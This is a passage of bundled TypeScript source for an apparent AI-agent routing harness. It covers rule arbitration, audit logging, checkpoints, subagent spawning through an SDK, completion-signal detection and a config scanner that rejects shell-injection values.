*/\nfunction scanShellInjection(node: unknown, path = ''): string | null {\n if (typeof node === 'string') {\n const hit = checkCmdString(node)\n return hit ? `${path || '<root>'}: ${hit.label} (${hit.hint})` : null\n }\n if (Array.isArray(node)) {\n for (let i = 0; i < node.length; i++) {\n const v = scanShellInjection(node[i], `${path}[${i}]`)\n if (v) return v\n }\n return null\n }\n if (node && typeof node === 'object') {\n for (const [k, v] of Object.entries(node)) {\n const hit = scanShellInjection(v, path ? `${path}.${k}` : k)\n if (hit) return hit\n }\n }\n return null\n}\n\nexport function loadDecisionRules(yamlPath: string): DecisionRulesFile {\n const doc = parseDocument(readFileSync(yamlPath, 'utf8'))\n if (doc.errors.length > 0) {\n throw new Error(`decision_rules yaml parse error: ${doc.errors[0]?.message}`)\n }\n const data = doc.toJS()\n const validate = getValidator()\n if (!validate(data)) {\n const e = validate.errors?.[0]\n throw new Error(`decision_rules schema invalid: ${e?.instancePath || '/'} ${e?.message}`)\n }\n const inj = scanShellInjection(data)\n if (inj) throw new Error(`decision_rules security violation: ${inj}`)\n return data as DecisionRulesFile\n}\n\n/** Priority Hit Policy arbitrate — R2 § 1.3 sketch + F42 array semantic match\n * (phase 1.5 T4.3 / D1.5-12). Scalar `task_type` matching is unchanged from\n * v1; the `keywords` field gains array-element substring matching against the\n * task prompt + signals. NO regex / embedding (karpathy YAGNI). ≤30L. */\nexport function arbitrate(rules: Rule[], task: TaskContext): Rule | null {\n const matches = rules.filter((r) => matchesWhen(r.when, task))\n const [top, second] = [...matches].sort((a, b) => b.priority - a.priority)\n if (!top) return null\n if (second && second.priority === top.priority) return null\n return top\n}\n\n/** F42 array-trigger `when` fields — array-valued rule fields whose elements\n * are matched by substring against the task prompt / signals / same-named task\n * array field. `task_type` is deliberately EXCLUDED: a `task_type` array in a\n * rule keeps its v1 behavior (never matches a scalar task value) so the phase\n * 1.4 30-sample baseline stays byte-stable (testing samples unchanged). */\nconst ARRAY_TRIGGER_FIELDS = new Set(['keywords', 'signals', 'override_keywords'])\n\n/** Lower-cased substring search for `needle` across the task's prompt + signals\n * + an extra same-named array field (F42 array semantic match). */\nfunction taskHas(task: TaskContext, needle: string, extraKey?: string): boolean {\n const n = needle.toLowerCase()\n const prompt = typeof task.prompt === 'string' ? task.prompt.toLowerCase() : ''\n if (prompt.includes(n)) return true\n const sources: unknown[] = []\n if (Array.isArray(task.signals)) sources.push(...(task.signals as unknown[]))\n if (extraKey && extraKey !== 'signals' && Array.isArray(task[extraKey])) {\n sources.push(...(task[extraKey] as unknown[]))\n }\n return sources.some((s) => typeof s === 'string' && s.toLowerCase().includes(n))\n}\n\n/** v1 scalar match (unchanged) + v2 F42 array semantic match. */\nfunction matchesWhen(when: Record<string, unknown>, task: TaskContext): boolean {\n for (const [k, v] of Object.entries(when)) {\n if (ARRAY_TRIGGER_FIELDS.has(k) && Array.isArray(v)) {\n // F42 — rule hits if ANY trigger element is a substring of the task\n // prompt / signals / same-named task array field.\n if (!v.some((kw) => typeof kw === 'string' && taskHas(task, kw, k))) return false\n continue\n }\n if (Array.isArray(v)) {\n // F42 — a non-trigger array-valued `when` field (e.g. `task_type` arrays\n // in perf-a11y-memory / ai-explore-debug) matches by membership: the\n // scalar task value must be one of the rule's listed values. v1 treated\n // these as never-match; phase 1.5 SAMPLES.md § 8.1 upgrades them.\n if (!v.includes(task[k])) return false\n continue\n }\n // v1 behavior — strict scalar equality.\n if (task[k] !== v) return false\n }\n return true\n}\n\n/** Extract the v2 mattpocock_phases map (4 phase × skills + triggers), or null\n * for a v1 file. Lets engineering `skills_overlay.ref` callers resolve the\n * cross-linked skill list without re-parsing the yaml. */\nexport function getMattpocockPhases(file: DecisionRulesFile): MattpocockPhases | null {\n return file.mattpocock_phases ?? null\n}\n\n// Phase 2.3 W2 T2.2 — CD-3 redirect-aware arbitrate (B-18 proactive split + ADR 0012 errata).\nexport { type ArbitrateResult, arbitrateWithRedirect } from './lib/arbitrateRedirect.js'\n","// src/audit/log.ts — Phase 4.3 W1 T1.1 (R8.1 audit log NEW infra per ADR 0018 PRIMARY).\n// JSONL append-only writer + 11-field schema per D-01 LOCKED (CONTEXT.md L34-50).\n// Sync (NOT async sister state.ts): logging path no-await + atomic O_APPEND per RESEARCH § 2.3.\n// Single SoT for routing-decision dimension forward-only per D-02 LOCKED (cross-ref ADR 0019).\n// v3.0.3 — AUDIT_PATH routed through harnessedRoot SoT (homedir-rooted; EPERM-free).\n\nimport { createHash } from 'node:crypto'\nimport { appendFileSync, mkdirSync } from 'node:fs'\nimport { dirname } from 'node:path'\nimport { type Static, Type } from '@sinclair/typebox'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\n\n// Computed lazily on first emit so harnessedRoot migration (if any) lands\n// before path composition.\nfunction auditPath(): string {\n return harnessedFile('audit.log')\n}\n\nexport const AuditRecordSchema = Type.Object(\n {\n ts: Type.String(),\n phase: Type.String(),\n task_excerpt: Type.String(),\n task_sha1: Type.String(),\n matched_rule_id: Type.Union([Type.String(), Type.Null()]),\n primary_expert: Type.Union([Type.String(), Type.Null()]),\n secondary_expert: Type.Union([Type.String(), Type.Null()]),\n category: Type.String(),\n route_layer: Type.String(),\n outcome: Type.String(),\n session_id: Type.Union([Type.String(), Type.Null()]),\n iter_count: Type.Union([Type.Number(), Type.Null()]),\n },\n { additionalProperties: false },\n)\nexport type AuditRecord = Static<typeof AuditRecordSchema>\n\nexport interface AuditCtx {\n outcome: string\n routeLayer: string\n sessionId?: string\n iterCount: number | null\n}\n\nexport function buildAuditRecord(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n ctx: AuditCtx,\n): AuditRecord {\n return {\n ts: new Date().toISOString(),\n phase: task.phaseId ?? 'unknown',\n task_excerpt: task.task.slice(0, 200),\n task_sha1: createHash('sha1').update(task.task).digest('hex'),\n matched_rule_id: matched?.id ?? null,\n primary_expert: (decision.primary_expert as string | null) ?? null,\n secondary_expert: (decision.secondary_expert as string | null) ?? null,\n category: decision.category,\n route_layer: ctx.routeLayer,\n outcome: ctx.outcome,\n session_id: ctx.sessionId ?? null,\n iter_count: ctx.iterCount,\n }\n}\n\nexport function emitAuditRecord(record: AuditRecord): void {\n const path = auditPath()\n mkdirSync(dirname(path), { recursive: true })\n appendFileSync(path, `${JSON.stringify(record)}\\n`)\n}\n","// src/audit/hook.ts — Phase 4.3 W1 T1.2 (sister engineHook.ts ≤50L PRIMARY helper extract pattern延袭).\n// Extracted thin wrapper keeps engine.ts ≤200L Karpathy hard limit clean (HIGH RISK R-1 mitigation).\n// Single responsibility: bridge engine.ts outcome → audit log emit (fail-soft sync NO throw).\n// W1 T1.3 follow-up: signature derives routeLayer from `matched` + defaults iterCount=null inside\n// hook to keep engine.ts call sites single-line (≤200L budget headroom mitigation).\n\nimport type { ArbitrateResult, TaskContext } from '../routing/agentDefinition.js'\nimport type { Rule } from '../routing/decisionRules.js'\nimport { buildAuditRecord, emitAuditRecord } from './log.js'\n\nexport type AuditOutcome =\n | 'complete'\n | 'max-iter'\n | 'verbatim-fail'\n | 'spawn-err'\n | 'install-err'\n | 'arbitrate-err'\n\nexport function emitAudit(\n task: TaskContext,\n decision: ArbitrateResult,\n matched: Rule | null,\n outcome: AuditOutcome,\n sessionId?: string,\n): void {\n emitAuditRecord(\n buildAuditRecord(task, decision, matched, {\n outcome,\n routeLayer: matched ? 'L1-keyword' : 'L3-fallback',\n sessionId,\n iterCount: null, // Phase 4.3 YAGNI (ralphLoopWrap returns string only; defer v0.5+ per RESEARCH § 7 Q2)\n }),\n )\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n//\n// v3.0.3 — checkpoint + archive path routed through `getHarnessedRoot()` SoT\n// (homedir-rooted; EPERM-free in read-only CWD). Sister v2.0.1 backup pattern.\n\nimport { join } from 'node:path'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n phaseId: string\n sessionId?: string\n status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n lastTask?: string\n keyDecisions?: string[]\n canonicalRefs?: string[]\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n * Lock acquired transitively via stateActivate → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n const checkpointPath = join(harnessedSubdir('checkpoints'), `${phaseId}.json`)\n await stateActivate(phaseId, checkpointPath)\n return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n * Lock acquired transitively via stateComplete → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n if (ctx.phaseId === 'unknown') {\n console.error(\n `[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to ${join(harnessedSubdir('checkpoints'), 'unknown.json')} (Karpathy fail-loud non-blocking; W-04 mitigation)`,\n )\n }\n writeCheckpoint({\n schemaVersion: SCHEMA_VERSIONS.checkpoint,\n phase: ctx.phaseId,\n status: 'complete',\n last_task: ctx.lastTask ?? 'engine.runRouting complete',\n key_decisions: ctx.keyDecisions ?? [],\n canonical_refs: ctx.canonicalRefs ?? [],\n ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n cwd: process.cwd(),\n timestamp: new Date().toISOString(),\n archive_path: `${join(harnessedSubdir('archive'), `phase-${ctx.phaseId}`)}/`,\n })\n await stateComplete()\n}\n","// Phase v2.0-2.4 W1 T2.4.W1.2 — ralph-loop fallback UX handlers (R20.10 acceptance c).\n// Sister Phase 2.2 sdkReconcile.ts split pattern (≤80L helper from engine.ts ≤200L\n// Karpathy hard limit). PLAN.md L339-368 verbatim UX text per RESEARCH § 7.2.\n//\n// CONTRACT — fallback config 来自 phases.yaml v2 phase.fallback.max_iterations_exceeded\n// (TypeBox schema src/workflow/schema/workflow.ts L38-45 ship by T2.4.W0.1). engine.ts\n// catch block delegates here — handler emits full UX text to stderr (PLAN L342-358)\n// then process.exit(exit_code). Return type `never` — process.exit unreachable after.\n\nimport type { MaxIterationsExceededError, VerbatimCompleteFailError } from './ralphLoop.js'\n\nexport interface FallbackMaxIterationsExceededConfig {\n action: 'emit_warning_and_halt'\n message: string\n exit_code: number\n}\n\nexport interface MaxIterFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n lastMessage?: string\n maxIterations: number\n}\n\nexport interface VerbatimFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n}\n\n/** Emit RESEARCH § 7.2 verbatim UX text + process.exit. Yaml `message` placeholder\n * `{{ args.max_iterations }}` is substituted with actual iter (sister Phase 3.2 W1\n * T1.6 interpolate.ts STRICT regex 不支持 dot-path — inline minimal substitution). */\nexport function handleMaxIterationsExceeded(\n err: MaxIterationsExceededError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: MaxIterFallbackCtx,\n): never {\n const yamlShort = fallback.message.replace(\n /\\{\\{\\s*args\\.max_iterations\\s*\\}\\}/g,\n String(ctx.maxIterations),\n )\n const truncated = (ctx.lastMessage ?? '<empty>').slice(0, 500)\n // RESEARCH § 7.2 verbatim UX text (PLAN L342-358).\n const uxText = `❌ ralph-loop max-iterations exceeded (${err.iterations}/${ctx.maxIterations}).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent attempted ${err.iterations} iterations without emitting verbatim \"<promise>COMPLETE</promise>\".\nThis indicates one of:\n 1. Sub-task is genuinely incomplete (escalate to user / re-scope)\n 2. Subagent is stuck in a loop (review prompt / system instructions)\n 3. max-iterations too low (override via --max-iterations <N>, hard upper limit 100)\nManual options:\n A) Continue with current state: \\`harnessed workflow resume --skip-completion-gate\\`\n B) Re-run from last checkpoint: \\`harnessed workflow resume --from-checkpoint\\`\n C) Abort cleanly: exit 1\nExit code: ${fallback.exit_code}\n${yamlShort}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable') // satisfies `never` return type for type-checker\n}\n\n/** Symmetric handler for VerbatimCompleteFailError (sister ralphLoop.ts L29-34\n * Phase 2.2 ship). Same fallback config reused; UX text mentions verbatim signal. */\nexport function handleVerbatimCompleteFail(\n err: VerbatimCompleteFailError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: VerbatimFallbackCtx,\n): never {\n const truncated = err.lastMessage.slice(0, 500)\n const uxText = `❌ ralph-loop verbatim COMPLETE signal missing (F33 P1).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent's final message lacked verbatim \"<promise>COMPLETE</promise>\" tag.\nThis indicates one of:\n 1. Subagent skipped the completion-promise contract (review system prompt)\n 2. Output format misconfigured (check outputFormat schema)\nManual options:\n A) Re-run with explicit COMPLETE instruction in subagent prompt\n B) Abort cleanly: exit ${fallback.exit_code}\nExit code: ${fallback.exit_code}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable')\n}\n","// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n * is present.\n */\nexport function extractPromise(text: string): string | null {\n const match = text.match(PROMISE_PATTERN)\n return match ? (match[1] as string) : null\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n\nimport type { SdkResultEnvelope } from '../completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n * (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n * string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n try {\n const env = JSON.parse(output) as SdkResultEnvelope\n if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n return false\n } catch {\n return extractPromise(output) === 'COMPLETE'\n }\n}\n\nexport class MaxIterationsExceededError extends Error {\n constructor(public iterations: number) {\n super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n this.name = 'MaxIterationsExceededError'\n }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n constructor(public lastMessage: string) {\n super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n this.name = 'VerbatimCompleteFailError'\n }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n * can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n * T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN LOCKED).\n * `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n * iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n maxIter: number,\n): Promise<string> {\n let last = ''\n let sessionId: string | undefined\n for (let i = 0; i < maxIter; i++) {\n last = await spawn(sessionId, (id) => {\n sessionId = id\n })\n if (isComplete(last)) return last\n }\n throw new MaxIterationsExceededError(maxIter)\n}\n","// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n// SDK input layer = 5 fields (description / tools? / disallowedTools? / prompt / model?)\n// prompt-inject layer = 9 fields (skills / mcpServers / memory / maxTurns / background /\n// effort / permissionMode / initialPrompt /\n// criticalSystemReminder_EXPERIMENTAL)\n// factory-internal total = 14 (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n * Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n return {\n description: def.description,\n prompt: def.prompt,\n ...(def.tools ? { tools: def.tools } : {}),\n ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n ...(def.model ? { model: def.model } : {}),\n }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n * as a structured suffix to `basePrompt`. Callers use this when running an\n * AgentDefinition through an SDK-input path that does NOT natively carry the\n * 9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n * registration). Sections are emitted only when the field is present.\n * Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n const parts: string[] = [basePrompt]\n if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n if (def.mcpServers && Object.keys(def.mcpServers).length) {\n parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n }\n if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n if (def.background) parts.push(`## Background\\nfire-and-forget`)\n if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n if (def.criticalSystemReminder_EXPERIMENTAL) {\n parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n }\n return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n// layer 1 outer PRIMARY — env.structured_output.status === 'COMPLETE'\n// layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n// layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n// layer 4 final FAIL — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from '../completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n expertName: string\n /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n resumeSessionId?: string\n /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n constructor(public lastMessage?: SDKResultMessage) {\n super('sdkSpawn produced no result message')\n this.name = 'SpawnFailError'\n }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n * Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n * (4-layer dual-signal). On success the envelope carries the structured\n * output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n * degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n const queryOptions: Record<string, unknown> = {\n allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n agents: { [opts.expertName]: sdkDef },\n // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n }\n if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n let result: SDKResultMessage | undefined\n for await (const msg of q as AsyncIterable<SDKMessage>) {\n if (msg.type === 'system' && msg.subtype === 'init') {\n opts.onSessionId?.(msg.session_id)\n }\n if (msg.type === 'result') {\n result = msg as SDKResultMessage\n }\n }\n if (!result) throw new SpawnFailError()\n\n // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n const structuredOutput =\n 'structured_output' in result\n ? (result.structured_output as SdkResultEnvelope['structured_output'])\n : undefined\n const subtype: ResultSubtype = result.subtype\n const text = 'result' in result ? result.result : undefined\n\n const envelope: SdkResultEnvelope = {\n subtype,\n ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n ...(text != null ? { text, result: text } : {}),\n }\n return JSON.stringify(envelope)\n}\n","// Phase 1.5.1 sister review H2 — Anchor 3 (skill install) hard split out of\n// lib/ralphLoop.ts. Anchor 3 (install missing + retry idempotent_check) and\n// Anchor 4 (ralph-loop wedge wrap) are conceptually distinct anchors; keeping\n// them in one file pushed ralphLoop.ts to 65L, contradicting the \"≤50L strict\"\n// claim in ADR 0009 § Decision Errata 3. Splitting Anchor 3 here makes that\n// claim true without an ADR errata — A7 conservation preserved (ADR 0009 main\n// body untouched; the code is brought into compliance with the doc, not vice\n// versa, per D-18 contract-drift prohibition).\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { RestartRequiredError } from '../agentDefinition.js'\n\nexport function isInstalled(skill: string, root: string): boolean {\n return existsSync(join(root, skill, 'SKILL.md'))\n}\n\nconst sleep = (ms: number): Promise<void> => new Promise((r) => setTimeout(r, ms))\n\n/** Anchor 3 — install missing + sleep retry idempotent_check. RestartRequired\n * is the extreme bail (settings.json hook needs main-session pickup). */\nexport async function ensureSkillsInstalled(required: string[], skillsRoot: string): Promise<void> {\n for (const name of required) {\n if (isInstalled(name, skillsRoot)) continue\n await sleep(500)\n let retries = 3\n while (retries-- > 0 && !isInstalled(name, skillsRoot)) await sleep(300)\n if (!isInstalled(name, skillsRoot)) {\n throw new RestartRequiredError(\n `Skill ${name} still missing after retry — please exit + restart Claude Code so the plugin takes effect.`,\n )\n }\n }\n}\n","// Phase 1.5 T3.2 — Semantic Router L2 (v0.1 stub, ≤150L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision + D1.5-2 lock + D-20 LOC budget\n// (≤150L). v0.1 is a STUB: `match()` always returns a no-match result. This\n// is intentional — the routing engine's L1 keyword arbitrate (decisionRules.ts)\n// + L3 fallback_supervisor LLM cover all current cases, and ML embedding deps\n// are deferred to v0.2+ per D1.5-2 (RESEARCH § 2.4 fallback-path design).\n//\n// v0.2+ activation triggers (all required):\n// - routing sample corpus grows 30 → 100+ samples across multiple models\n// - user logs surface ≥10 real L1-miss + L3-mis-hit cases\n// - cross-OS CI verifies HuggingFace model fetch on all 3 platforms\n// When activated, ONLY the body of `match()` changes — the contract\n// (`match(prompt, threshold) -> Promise<SemanticMatchResult>`) is frozen here\n// so v0.2+ is a drop-in body swap, not an interface change (PLAN.md § 4 #2/#3).\n//\n// The v0.2+ implementation will: embed `prompt` via lib/embedding.ts\n// (EmbeddingProvider, BGE-small), kNN cosine-similarity against pre-embedded\n// rule trigger phrases, and return the best rule whose confidence ≥ threshold.\n\nimport type { Rule } from './decisionRules.js'\nimport type { EmbeddingProvider } from './lib/embedding.js'\n\n/**\n * Three-state-friendly result of {@link match} — narrow on `matched`:\n * - `matched: true` → `rule` is the semantically-matched rule, `confidence`\n * is the cosine similarity (≥ threshold).\n * - `matched: false` → `rule` is null, `confidence` is 0 (v0.1 stub always).\n *\n * Mirrors the `EngineResult` discriminated-union style (F41 takeaway).\n */\nexport interface SemanticMatchResult {\n /** Whether a rule was matched above the similarity threshold. */\n matched: boolean\n /** The matched rule, or null when `matched` is false. */\n rule: Rule | null\n /** Cosine similarity confidence in [0, 1]; 0 in the v0.1 stub. */\n confidence: number\n}\n\n/** Default similarity threshold — aligned with LangChain industry baseline. */\nexport const DEFAULT_SEMANTIC_THRESHOLD = 0.85\n\n/**\n * Semantic Router L2 — v0.1 STUB.\n *\n * Always returns `{ matched: false, rule: null, confidence: 0 }`. The routing\n * engine calls this between L1 keyword arbitrate and L3 fallback_supervisor;\n * in v0.1 it is a guaranteed pass-through to L3 (RESEARCH § 2.4).\n *\n * @param prompt - the user task prompt to semantically match (unused in v0.1).\n * @param threshold - minimum cosine similarity to count as a match (unused in\n * v0.1; defaults to {@link DEFAULT_SEMANTIC_THRESHOLD}).\n * @returns a Promise of {@link SemanticMatchResult} — always no-match in v0.1.\n */\nexport async function match(\n prompt: string,\n threshold: number = DEFAULT_SEMANTIC_THRESHOLD,\n): Promise<SemanticMatchResult> {\n // v0.1 stub — no embedding, no kNN. Reference the params so the contract is\n // visible to v0.2+ implementers and lint stays clean.\n void prompt\n void threshold\n return { matched: false, rule: null, confidence: 0 }\n}\n\n/**\n * v0.2+ activation seam — constructs the live semantic router once an\n * EmbeddingProvider is available. NOT wired in v0.1; throws to make accidental\n * early use loud rather than silently degrading.\n *\n * @param provider - the embedding provider (BGE-small in v0.2+).\n * @throws always in v0.1 — Semantic Router L2 is deferred (D1.5-2).\n */\nexport function createSemanticRouter(provider: EmbeddingProvider): never {\n void provider\n throw new Error(\n 'Semantic Router L2 is a v0.1 stub — ML embedding deferred to v0.2+ (ADR 0009 / D1.5-2). ' +\n 'Use match() which returns no-match, falling through to the L3 fallback supervisor.',\n )\n}\n","// Main-process routing engine (Pattern N). ADR 0006/0008/0009. Phase 1.4 T3.1\n// → 1.5 T3.4 → 2.2 W4 T4.2 → 3.1 W3 T3.2 → 2.4 W1 T2.4.W1.2 (fallback handlers\n// delegate, R20.10 c). Karpathy ≤200L hard limit守住.\n\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { emitAudit } from 